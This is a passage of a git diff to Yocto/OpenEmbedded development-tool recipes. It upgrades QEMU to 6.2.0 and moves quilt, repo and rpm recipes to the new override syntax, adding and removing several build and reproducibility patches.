+ rm -rf meson-private meson-info meson-logs
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/determinism.patch b/meta/recipes-devtools/qemu/qemu/determinism.patch
new file mode 100644
index 0000000000..330a31204d
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/determinism.patch
@@ -0,0 +1,22 @@
+When sources are included within debug information, a couple of areas of the
+qemu build are not reproducible due to either full buildpaths or timestamps.
+
+Replace the full paths with relative ones. I couldn't figure out how to get
+meson to pass relative paths but we can fix that in the script.
+
+Upstream-Status: Pending [some version of all/part of this may be accepted]
+RP 2021/3/1
+
+Index: qemu-6.0.0/scripts/decodetree.py
+===================================================================
+--- qemu-6.0.0.orig/scripts/decodetree.py
++++ qemu-6.0.0/scripts/decodetree.py
+@@ -1304,7 +1304,7 @@ def main():
+ toppat = ExcMultiPattern(0)
+
+ for filename in args:
+- input_file = filename
++ input_file = os.path.relpath(filename)
+ f = open(filename, 'rt', encoding='utf-8')
+ parse_file(f, toppat)
+ f.close()
diff --git a/meta/recipes-devtools/qemu/qemu/find_datadir.patch b/meta/recipes-devtools/qemu/qemu/find_datadir.patch
deleted file mode 100644
index 9a4c11267a..0000000000
--- a/meta/recipes-devtools/qemu/qemu/find_datadir.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-qemu: search for datadir as in version 4.2
-
-os_find_datadir() was changed after the 4.2 release. We need to check for
-../share/qemu relative to the executable because that is where the runqemu
-configuration assumes it will be.
-
-Upstream-Status: Submitted [qemu-devel@nongnu.org]
-
-Signed-off-by: Joe Slater <joe.slater@windriver.com>
-
-
-Index: qemu-5.1.0/os-posix.c
-===================================================================
---- qemu-5.1.0.orig/os-posix.c
-+++ qemu-5.1.0/os-posix.c
-@@ -82,8 +82,9 @@ void os_setup_signal_handling(void)
-
- /*
- * Find a likely location for support files using the location of the binary.
-+ * Typically, this would be "$bindir/../share/qemu".
- * When running from the build tree this will be "$bindir/../pc-bios".
-- * Otherwise, this is CONFIG_QEMU_DATADIR.
-+ * Otherwise, this is CONFIG_QEMU_DATADIR as constructed by configure.
- *
- * The caller must use g_free() to free the returned data when it is
- * no longer required.
-@@ -96,6 +97,12 @@ char *os_find_datadir(void)
- exec_dir = qemu_get_exec_dir();
- g_return_val_if_fail(exec_dir != NULL, NULL);
-
-+ dir = g_build_filename(exec_dir, "..", "share", "qemu", NULL);
-+ if (g_file_test(dir, G_FILE_TEST_IS_DIR)) {
-+ return g_steal_pointer(&dir);
-+ }
-+ g_free(dir); /* no autofree this time */
-+
- dir = g_build_filename(exec_dir, "..", "pc-bios", NULL);
- if (g_file_test(dir, G_FILE_TEST_IS_DIR)) {
- return g_steal_pointer(&dir);
diff --git a/meta/recipes-devtools/qemu/qemu/mmap2.patch b/meta/recipes-devtools/qemu/qemu/mmap2.patch
new file mode 100644
index 0000000000..e115473b70
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/mmap2.patch
@@ -0,0 +1,39 @@
+When using qemu-i386 to build qemux86 webkitgtk on musl, it sits in an
+infinite loop of mremap calls of ever decreasing/increasing addresses.
+
+I suspect something in the musl memory allocation code loops indefinitely
+if it only sees ENOMEM and only exits when it hits EFAULT.
+
+According to the docs, trying to mremap outside the address space
+can/should return EFAULT and changing this allows the build to succeed.
+
+A better return value for the other cases of invalid addresses is EINVAL
+rather than ENOMEM so adjust the other part of the test to this.
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/qemu-devel/2021-01/msg01355.html]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org
+
+Index: qemu-6.0.0/linux-user/mmap.c
+===================================================================
+--- qemu-6.0.0.orig/linux-user/mmap.c
++++ qemu-6.0.0/linux-user/mmap.c
+@@ -733,12 +733,16 @@ abi_long target_mremap(abi_ulong old_add
+ int prot;
+ void *host_addr;
+
+- if (!guest_range_valid_untagged(old_addr, old_size) ||
+- ((flags & MREMAP_FIXED) &&
++ if (!guest_range_valid_untagged(old_addr, old_size)) {
++ errno = EFAULT;
++ return -1;
++ }
++
++ if (((flags & MREMAP_FIXED) &&
+ !guest_range_valid_untagged(new_addr, new_size)) ||
+ ((flags & MREMAP_MAYMOVE) == 0 &&
+ !guest_range_valid_untagged(old_addr, new_size))) {
+- errno = ENOMEM;
++ errno = EINVAL;
+ return -1;
+ }
+
diff --git a/meta/recipes-devtools/qemu/qemu/run-ptest b/meta/recipes-devtools/qemu/qemu/run-ptest
index b25a792d4f..f9a4e8fb2b 100644
--- a/meta/recipes-devtools/qemu/qemu/run-ptest
+++ b/meta/recipes-devtools/qemu/qemu/run-ptest
@@ -7,4 +7,7 @@ ptestdir=$(dirname "$(readlink -f "$0")")
export SRC_PATH=$ptestdir
cd $ptestdir/tests
-make -f Makefile.include -k runtest-TESTS | sed '/^ok /s/ok /PASS: /g'
+tests=$(find . -name "test-*" ! -name "*.p")
+for f in $tests; do
+ $f | sed '/^ok/ s/ok/PASS:/g'
+done
diff --git a/meta/recipes-devtools/qemu/qemu/usb-fix-setup_len-init.patch b/meta/recipes-devtools/qemu/qemu/usb-fix-setup_len-init.patch
deleted file mode 100644
index 92801da46f..0000000000
--- a/meta/recipes-devtools/qemu/qemu/usb-fix-setup_len-init.patch
+++ /dev/null
@@ -1,89 +0,0 @@
-CVE: CVE-2020-14364
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@arm.com>
-
-From b946434f2659a182afc17e155be6791ebfb302eb Mon Sep 17 00:00:00 2001
-From: Gerd Hoffmann <kraxel@redhat.com>
-Date: Tue, 25 Aug 2020 07:36:36 +0200
-Subject: [PATCH] usb: fix setup_len init (CVE-2020-14364)
-
-Store calculated setup_len in a local variable, verify it, and only
-write it to the struct (USBDevice->setup_len) in case it passed the
-sanity checks.
-
-This prevents other code (do_token_{in,out} functions specifically)
-from working with invalid USBDevice->setup_len values and overrunning
-the USBDevice->setup_buf[] buffer.
-
-Fixes: CVE-2020-14364
-Signed-off-by: Gerd Hoffmann <kraxel@redhat.com>
-Tested-by: Gonglei <arei.gonglei@huawei.com>
-Reviewed-by: Li Qiang <liq3ea@gmail.com>
-Message-id: 20200825053636.29648-1-kraxel@redhat.com
----
- hw/usb/core.c | 16 ++++++++++------
- 1 file changed, 10 insertions(+), 6 deletions(-)
-
-diff --git a/hw/usb/core.c b/hw/usb/core.c
-index 5abd128b6bc..5234dcc73fe 100644
---- a/hw/usb/core.c
-+++ b/hw/usb/core.c
-@@ -129,6 +129,7 @@ void usb_wakeup(USBEndpoint *ep, unsigned int stream)
- static void do_token_setup(USBDevice *s, USBPacket *p)
- {
- int request, value, index;
-+ unsigned int setup_len;
-
- if (p->iov.size != 8) {
- p->status = USB_RET_STALL;
-@@ -138,14 +139,15 @@ static void do_token_setup(USBDevice *s, USBPacket *p)
- usb_packet_copy(p, s->setup_buf, p->iov.size);
- s->setup_index = 0;
- p->actual_length = 0;
-- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
-- if (s->setup_len > sizeof(s->data_buf)) {
-+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
-+ if (setup_len > sizeof(s->data_buf)) {
- fprintf(stderr,
- "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
-- s->setup_len, sizeof(s->data_buf));
-+ setup_len, sizeof(s->data_buf));
- p->status = USB_RET_STALL;
- return;
- }
-+ s->setup_len = setup_len;
-
- request = (s->setup_buf[0] << 8) | s->setup_buf[1];
- value = (s->setup_buf[3] << 8) | s->setup_buf[2];
-@@ -259,26 +261,28 @@ static void do_token_out(USBDevice *s, USBPacket *p)
- static void do_parameter(USBDevice *s, USBPacket *p)
- {
- int i, request, value, index;
-+ unsigned int setup_len;
-
- for (i = 0; i < 8; i++) {
- s->setup_buf[i] = p->parameter >> (i*8);
- }
-
- s->setup_state = SETUP_STATE_PARAM;
-- s->setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
- s->setup_index = 0;
-
- request = (s->setup_buf[0] << 8) | s->setup_buf[1];
- value = (s->setup_buf[3] << 8) | s->setup_buf[2];
- index = (s->setup_buf[5] << 8) | s->setup_buf[4];
-
-- if (s->setup_len > sizeof(s->data_buf)) {
-+ setup_len = (s->setup_buf[7] << 8) | s->setup_buf[6];
-+ if (setup_len > sizeof(s->data_buf)) {
- fprintf(stderr,
- "usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",
-- s->setup_len, sizeof(s->data_buf));
-+ setup_len, sizeof(s->data_buf));
- p->status = USB_RET_STALL;
- return;
- }
-+ s->setup_len = setup_len;
-
- if (p->pid == USB_TOKEN_OUT) {
- usb_packet_copy(p, s->data_buf, s->setup_len);
diff --git a/meta/recipes-devtools/qemu/qemu_5.1.0.bb b/meta/recipes-devtools/qemu/qemu_5.1.0.bb
deleted file mode 100644
index 599ff82fc1..0000000000
--- a/meta/recipes-devtools/qemu/qemu_5.1.0.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-BBCLASSEXTEND = "nativesdk"
-
-require qemu.inc
-
-# error: a parameter list without types is only allowed in a function definition
-# void (*_function)(sigval_t);
-COMPATIBLE_HOST_libc-musl = 'null'
-
-DEPENDS = "glib-2.0 zlib pixman bison-native"
-
-RDEPENDS_${PN}_class-target += "bash"
-
-EXTRA_OECONF_append_class-target = " --target-list=${@get_qemu_target_list(d)}"
-EXTRA_OECONF_append_class-target_mipsarcho32 = "${@bb.utils.contains('BBEXTENDCURR', 'multilib', ' --disable-capstone', '', d)}"
-EXTRA_OECONF_append_class-nativesdk = " --target-list=${@get_qemu_target_list(d)}"
-
-do_install_append_class-nativesdk() {
- ${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
-}
-
-PACKAGECONFIG ??= " \
- fdt sdl kvm \
- ${@bb.utils.filter('DISTRO_FEATURES', 'alsa xen', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
-"
-PACKAGECONFIG_class-nativesdk ??= "fdt sdl kvm \
- ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
-"
diff --git a/meta/recipes-devtools/qemu/qemu_6.2.0.bb b/meta/recipes-devtools/qemu/qemu_6.2.0.bb
new file mode 100644
index 0000000000..c9a53e3b05
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu_6.2.0.bb
@@ -0,0 +1,27 @@
+BBCLASSEXTEND = "nativesdk"
+
+require qemu.inc
+
+DEPENDS = "glib-2.0 zlib pixman bison-native ninja-native meson-native"
+
+DEPENDS:append:libc-musl = " libucontext"
+
+RDEPENDS:${PN}:class-target += "bash"
+
+EXTRA_OECONF:append:class-target = " --target-list=${@get_qemu_target_list(d)}"
+EXTRA_OECONF:append:class-target:mipsarcho32 = "${@bb.utils.contains('BBEXTENDCURR', 'multilib', ' --disable-capstone', '', d)}"
+EXTRA_OECONF:append:class-nativesdk = " --target-list=${@get_qemu_target_list(d)}"
+
+do_install:append:class-nativesdk() {
+ ${@bb.utils.contains('PACKAGECONFIG', 'gtk+', 'make_qemu_wrapper', '', d)}
+}
+
+PACKAGECONFIG ??= " \
+ fdt sdl kvm pie \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'alsa xen', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'seccomp', d)} \
+"
+PACKAGECONFIG:class-nativesdk ??= "fdt sdl kvm pie \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer glx', '', d)} \
+"
diff --git a/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb b/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
index a0448a1803..97b44ad2e5 100644
--- a/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
+++ b/meta/recipes-devtools/qemu/qemuwrapper-cross_1.0.bb
@@ -18,6 +18,7 @@ do_install () {
cat >> ${D}${bindir_crossscripts}/${MLPREFIX}qemuwrapper << EOF
#!/bin/sh
+# Wrapper script to run binaries under qemu user-mode emulation
set -x
if [ ${@bb.utils.contains('MACHINE_FEATURES', 'qemu-usermode', 'True', 'False', d)} = False -a "${PN}" != "nativesdk-qemuwrapper-cross" ]; then
diff --git a/meta/recipes-devtools/quilt/quilt.inc b/meta/recipes-devtools/quilt/quilt.inc
index d6d06c049c..f85de384d2 100644
--- a/meta/recipes-devtools/quilt/quilt.inc
+++ b/meta/recipes-devtools/quilt/quilt.inc
@@ -14,36 +14,36 @@ SRC_URI = "${SAVANNAH_GNU_MIRROR}/quilt/quilt-${PV}.tar.gz \
file://0001-tests-Allow-different-output-from-mv.patch \
"
-SRC_URI_append_class-target = " file://gnu_patch_test_fix_target.patch"
+SRC_URI:append:class-target = " file://gnu_patch_test_fix_target.patch"
SRC_URI[md5sum] = "6800c2404a2c0598ab2eff92a636ba70"
SRC_URI[sha256sum] = "314b319a6feb13bf9d0f9ffa7ce6683b06919e734a41275087ea457cc9dc6e07"
inherit autotools-brokensep ptest
-INHIBIT_AUTOTOOLS_DEPS_class-native = "1"
-PATCHTOOL_class-native = "patch"
+INHIBIT_AUTOTOOLS_DEPS:class-native = "1"
+PATCHTOOL:class-native = "patch"
CLEANBROKEN = "1"
EXTRA_OECONF = "--with-perl='${USRBINPATH}/env perl' --with-patch=patch"
-EXTRA_OECONF_append_class-native = " --disable-nls"
+EXTRA_OECONF:append:class-native = " --disable-nls"
EXTRA_AUTORECONF += "--exclude=aclocal"
-CACHED_CONFIGUREVARS += "ac_cv_path_BASH=/bin/bash"
+CACHED_CONFIGUREVARS += "ac_cv_path_BASH=/bin/bash ac_cv_path_COLUMN=column"
# Make sure we don't have "-w" in shebang lines: it breaks using
# "/usr/bin/env perl" as parser
-do_configure_prepend () {
+do_configure:prepend () {
find ${S} -name "*.in" -exec sed -i -e "1s,^#\!.*@PERL@ -w$,#\! @PERL@\nuse warnings;," {} \;
}
# Don't setup symlinks to host utilities, we don't need them
-do_configure_append () {
+do_configure:append () {
sed -e 's,^COMPAT_SYMLINKS.*:=.*,COMPAT_SYMLINKS :=,' -i ${S}/Makefile
}
-do_configure_class-native () {
+do_configure:class-native () {
oe_runconf
}
@@ -54,7 +54,7 @@ do_install () {
rm -rf ${D}/${datadir}/emacs
}
-do_install_append_class-native () {
+do_install:append:class-native () {
# Dummy quiltrc file for patch.bbclass
install -d ${D}${sysconfdir}/
touch ${D}${sysconfdir}/quiltrc
@@ -75,16 +75,16 @@ do_install_ptest() {
PACKAGES += "guards guards-doc"
-FILES_${PN} = "${sysconfdir} ${datadir}/quilt \
+FILES:${PN} = "${sysconfdir} ${datadir}/quilt \
${bindir}/quilt ${libdir}/quilt"
-FILES_guards = "${bindir}/guards"
-FILES_${PN}-doc = "${mandir}/man1/quilt.1 ${docdir}/${BPN}"
-FILES_guards-doc = "${mandir}/man1/guards.1"
+FILES:guards = "${bindir}/guards"
+FILES:${PN}-doc = "${mandir}/man1/quilt.1 ${docdir}/${BPN}"
+FILES:guards-doc = "${mandir}/man1/guards.1"
-RDEPENDS_${PN} = "bash patch diffstat bzip2 util-linux less"
-RDEPENDS_${PN}_class-native = "diffstat-native patch-native bzip2-native"
+RDEPENDS:${PN} = "bash patch diffstat bzip2 util-linux less"
+RDEPENDS:${PN}:class-native = "diffstat-native patch-native bzip2-native"
-RDEPENDS_${PN}-ptest = "make file sed gawk diffutils findutils ed perl \
+RDEPENDS:${PN}-ptest = "make file sed gawk diffutils findutils ed perl \
perl-module-filehandle perl-module-getopt-std \
perl-module-posix perl-module-file-temp \
perl-module-text-parsewords perl-module-overloading \
diff --git a/meta/recipes-devtools/repo/repo/0001-python3-shebang.patch b/meta/recipes-devtools/repo/repo/0001-python3-shebang.patch
new file mode 100644
index 0000000000..d3888c8bb2
--- /dev/null
+++ b/meta/recipes-devtools/repo/repo/0001-python3-shebang.patch
@@ -0,0 +1,26 @@
+From b8e84b202cd302a7c99288d3835dc9c63071f8f2 Mon Sep 17 00:00:00 2001
+From: Jasper Orschulko <Jasper.Orschulko@iris-sensing.com>
+Date: Tue, 14 Sep 2021 16:46:51 +0200
+Subject: [PATCH] python3 shebang
+
+Yocto does not symlink from python to python3, thus change the shebang from
+python to python3.
+
+Upstream-Status: Inappropriate [configuration]
+Signed-off-by: Jasper Orschulko <Jasper.Orschulko@iris-sensing.com>
+---
+ repo | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/repo b/repo
+index b13e34c..205e0e5 100755
+--- a/repo
++++ b/repo
+@@ -1,4 +1,4 @@
+-#!/usr/bin/env python
++#!/usr/bin/env python3
+ # -*- coding:utf-8 -*-
+ #
+ # Copyright (C) 2008 The Android Open Source Project
+--
+2.33.0
diff --git a/meta/recipes-devtools/repo/repo_2.19.bb b/meta/recipes-devtools/repo/repo_2.19.bb
new file mode 100644
index 0000000000..730540cfa0
--- /dev/null
+++ b/meta/recipes-devtools/repo/repo_2.19.bb
@@ -0,0 +1,33 @@
+# SPDX-License-Identifier: MIT
+# Copyright (C) 2021 iris-GmbH infrared & intelligent sensors
+
+SUMMARY = "Tool for managing many Git repositories"
+DESCRIPTION = "Repo is a tool built on top of Git. Repo helps manage many Git repositories, does the uploads to revision control systems, and automates parts of the development workflow."
+HOMEPAGE = "https://android.googlesource.com/tools/repo"
+SECTION = "console/utils"
+
+LICENSE = "Apache-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
+
+SRC_URI = "git://gerrit.googlesource.com/git-repo.git;protocol=https;branch=main \
+ file://0001-python3-shebang.patch \
+ "
+SRCREV = "2a089cfee4a3eb0c28cfb441861fc1fcb05797d3"
+
+MIRRORS += "git://gerrit.googlesource.com/git-repo.git git://github.com/GerritCodeReview/git-repo.git"
+
+S = "${WORKDIR}/git"
+
+do_set_fixed_rev() {
+ sed -Ei "s/REPO_REV\s*=\s*('|\")stable('|\")/REPO_REV = '${SRCREV}'/g" ${S}/repo
+}
+
+do_patch[postfuncs] += "do_set_fixed_rev"
+
+do_install() {
+ install -D ${WORKDIR}/git/repo ${D}${bindir}/repo
+}
+
+RDEPENDS:${PN} = "python3 git"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch b/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
index 30975faeaf..6d236ac400 100644
--- a/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
+++ b/meta/recipes-devtools/rpm/files/0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch
@@ -1,4 +1,4 @@
-From 4fd37bc9d8d0777aa038777dd81a76b64f536efd Mon Sep 17 00:00:00 2001
+From 8d013fe154a162305f76141151baf767dd04b598 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 27 Feb 2017 09:43:30 +0200
Subject: [PATCH] Do not hardcode "lib/rpm" as the installation path for
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
3 files changed, 4 insertions(+), 4 deletions(-)
diff --git a/configure.ac b/configure.ac
-index 186e4aeec..5df252085 100644
+index eb7d6941b..10a889b5d 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -944,7 +944,7 @@ else
+@@ -871,7 +871,7 @@ else
usrprefix=$prefix
fi
@@ -27,10 +27,10 @@ index 186e4aeec..5df252085 100644
AC_SUBST(OBJDUMP)
diff --git a/macros.in b/macros.in
-index 35c8cf9df..9d8b2825c 100644
+index a1f795e5f..689e784ef 100644
--- a/macros.in
+++ b/macros.in
-@@ -996,7 +996,7 @@ package or when debugging this package.\
+@@ -933,7 +933,7 @@ package or when debugging this package.\
%_sharedstatedir %{_prefix}/com
%_localstatedir %{_prefix}/var
%_lib lib
@@ -40,7 +40,7 @@ index 35c8cf9df..9d8b2825c 100644
%_infodir %{_datadir}/info
%_mandir %{_datadir}/man
diff --git a/rpm.am b/rpm.am
-index b46c6b7da..02d5c7a0a 100644
+index 7b57f433b..9bbb9ee96 100644
--- a/rpm.am
+++ b/rpm.am
@@ -1,10 +1,10 @@
@@ -55,4 +55,4 @@ index b46c6b7da..02d5c7a0a 100644
+rpmconfigdir = $(libdir)/rpm
# Libtool version (current-revision-age) for all our libraries
- rpm_version_info = 10:0:1
+ rpm_version_info = 11:0:2
diff --git a/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch b/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch
deleted file mode 100644
index b960da6c31..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-Fix-build-with-musl-C-library.patch
+++ /dev/null
@@ -1,22 +0,0 @@
-From d076de030deb9cafd9b2e82be5d506cebdefad0b Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 27 Feb 2017 14:43:21 +0200
-Subject: [PATCH 1/9] Fix build with musl C library.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- configure.ac | 3 ++-
- rpmio/digest_nss.c | 1 +
- 2 files changed, 3 insertions(+), 1 deletion(-)
-
---- a/rpmio/digest_nss.c
-+++ b/rpmio/digest_nss.c
-@@ -1,5 +1,6 @@
- #include "system.h"
-
-+#include <signal.h>
- #include <pthread.h>
- #include <nss.h>
- #include <sechash.h>
diff --git a/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch b/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch
new file mode 100644
index 0000000000..79b168257e
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch
@@ -0,0 +1,28 @@
+From 2d351c666f09cc1b9e368422653fb42ac8b86249 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Tue, 31 Aug 2021 10:37:05 +0200
+Subject: [PATCH] build/pack.c: do not insert payloadflags into .rpm metadata
+
+The flags look like '19T56' where 19 is the compression level
+(deterministic), and 56 is the amount of threads (varies from one
+host to the next and breaks reproducibility for .rpm).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ build/pack.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/build/pack.c b/build/pack.c
+index 932cb213e..b45d0726f 100644
+--- a/build/pack.c
++++ b/build/pack.c
+@@ -328,7 +328,7 @@ static char *getIOFlags(Package pkg)
+ headerPutString(pkg->header, RPMTAG_PAYLOADCOMPRESSOR, compr);
+ buf = xstrdup(rpmio_flags);
+ buf[s - rpmio_flags] = '\0';
+- headerPutString(pkg->header, RPMTAG_PAYLOADFLAGS, buf+1);
++ headerPutString(pkg->header, RPMTAG_PAYLOADFLAGS, "");
+ free(buf);
+ }
+ exit:
diff --git a/meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch b/meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch
new file mode 100644
index 0000000000..ced52d1007
--- /dev/null
+++ b/meta/recipes-devtools/rpm/files/0001-docs-do-not-build-manpages-requires-pandoc.patch
@@ -0,0 +1,26 @@
+From 9bf1693092385eba9841614613313010221ca01f Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Tue, 29 Jun 2021 20:11:26 +0200
+Subject: [PATCH] docs: do not build manpages (requires pandoc)
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ docs/Makefile.am | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/docs/Makefile.am b/docs/Makefile.am
+index 5a6bd203a..6257767fd 100644
+--- a/docs/Makefile.am
++++ b/docs/Makefile.am
+@@ -1,7 +1,5 @@
+ ## Process this file with automake to produce Makefile.in
+
+-SUBDIRS = man
+-
+ EXTRA_DIST =
+
+ EXTRA_DIST += \
+--
+2.32.0
+
diff --git a/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch b/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch
deleted file mode 100644
index 6454785254..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-rpm-rpmio.c-restrict-virtual-memory-usage-if-limit-s.patch
+++ /dev/null
@@ -1,65 +0,0 @@
-From 0066b862bb3a09f39295abd5d972a53ac8dc1555 Mon Sep 17 00:00:00 2001
-From: Peter Bergin <peter@berginkonsult.se>
-Date: Wed, 19 Sep 2018 15:12:31 +0200
-Subject: [PATCH] rpm/rpmio.c: restrict virtual memory usage if limit set
-
-A solution to avoid OOM situation when the virtual memory is restricted
-for a user (ulimit -v). As the lzopen_internal function is run in parallel
-one instance per CPU thread the available virtual memory is limited per
-CPU thread.
-
-Upstream-Status: Pending [merge of multithreading patches to upstream]
-
-Signed-off-by: Peter Bergin <peter@berginkonsult.se>
----
- rpmio/rpmio.c | 34 ++++++++++++++++++++++++++++++++++
- 1 file changed, 34 insertions(+)
-
-diff --git a/rpmio/rpmio.c b/rpmio/rpmio.c
-index e051c98..b3c56b6 100644
---- a/rpmio/rpmio.c
-+++ b/rpmio/rpmio.c
-@@ -845,6 +845,40 @@ static LZFILE *lzopen_internal(const char *mode, int fd, int xz)
- }
- #endif
-
-+ struct rlimit virtual_memory;
-+ getrlimit(RLIMIT_AS, &virtual_memory);
-+ if (virtual_memory.rlim_cur != RLIM_INFINITY) {
-+ const uint64_t virtual_memlimit = virtual_memory.rlim_cur;
-+ const uint64_t virtual_memlimit_per_cpu_thread =
-+ virtual_memlimit / lzma_cputhreads();
-+ uint64_t memory_usage_virt;
-+ rpmlog(RPMLOG_NOTICE, "XZ: virtual memory restricted to %lu and "
-+ "per CPU thread %lu\n", virtual_memlimit, virtual_memlimit_per_cpu_thread);
-+ /* keep reducing the number of compression threads until memory
-+ usage falls below the limit per CPU thread*/
-+ while ((memory_usage_virt = lzma_stream_encoder_mt_memusage(&mt_options)) >
-+ virtual_memlimit_per_cpu_thread) {
-+ /* If number of threads goes down to zero lzma_stream_encoder will
-+ * will return UINT64_MAX. We must check here to avoid an infinite loop.
-+ * If we get into situation that one thread requires more virtual memory
-+ * than available we set one thread, print error message and try anyway. */
-+ if (--mt_options.threads == 0) {
-+ mt_options.threads = 1;
-+ rpmlog(RPMLOG_WARNING,
-+ "XZ: Could not adjust number of threads to get below "
-+ "virtual memory limit %lu. usage %lu\n",
-+ virtual_memlimit_per_cpu_thread, memory_usage_virt);
-+ break;
-+ }
-+ }
-+ if (threads != (int)mt_options.threads)
-+ rpmlog(RPMLOG_NOTICE,
-+ "XZ: Adjusted the number of threads from %d to %d to not "
-+ "exceed the memory usage limit of %lu bytes\n",
-+ threads, mt_options.threads, virtual_memlimit);
-+
-+ }
-+
- ret = lzma_stream_encoder_mt(&lzfile->strm, &mt_options);
- }
- #endif
---
-2.7.4
-
diff --git a/meta/recipes-devtools/rpm/files/0001-rpmdb.c-add-a-missing-include.patch b/meta/recipes-devtools/rpm/files/0001-rpmdb.c-add-a-missing-include.patch
deleted file mode 100644
index c7ae158f8d..0000000000
--- a/meta/recipes-devtools/rpm/files/0001-rpmdb.c-add-a-missing-include.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 9de15c7e1f4ca23a10edb9a3b657f06b2b13e841 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 20 Oct 2020 22:16:39 +0200
-Subject: [PATCH] rpmdb.c: add a missing include
-
-This addressed build failures on non-glibc systems.
-
-Upstream-Status: Backport
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- lib/rpmdb.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/lib/rpmdb.c b/lib/rpmdb.c
-index 4c101569f..73187630b 100644
---- a/lib/rpmdb.c
-+++ b/lib/rpmdb.c
-@@ -8,6 +8,7 @@
- #include <utime.h>
- #include <errno.h>
- #include <dirent.h>
-+#include <fcntl.h>
-
- #ifndef DYING /* XXX already in "system.h" */
- #include <fnmatch.h>
diff --git a/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch b/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch
index e78514b814..9783396639 100644
--- a/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch
+++ b/meta/recipes-devtools/rpm/files/0001-tools-Add-error.h-for-non-glibc-case.patch
@@ -1,4 +1,4 @@
-From b3952bd5e28f2a4d86c7377de239db8fa7237e14 Mon Sep 17 00:00:00 2001
+From 9b9d717f484ec913cdd3804e43489b3dc18bd77c Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 31 Oct 2020 22:14:05 -0700
Subject: [PATCH] tools: Add error.h for non-glibc case
@@ -9,40 +9,15 @@ upstream given that elfutils has been closely tied to glibc
Upstream-Status: Inappropriate [workaround for musl]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
- tools/debugedit.c | 6 +++++-
- tools/elfdeps.c | 6 +++++-
- tools/error.h | 27 +++++++++++++++++++++++++++
- tools/sepdebugcrcfix.c | 6 +++++-
- 4 files changed, 42 insertions(+), 3 deletions(-)
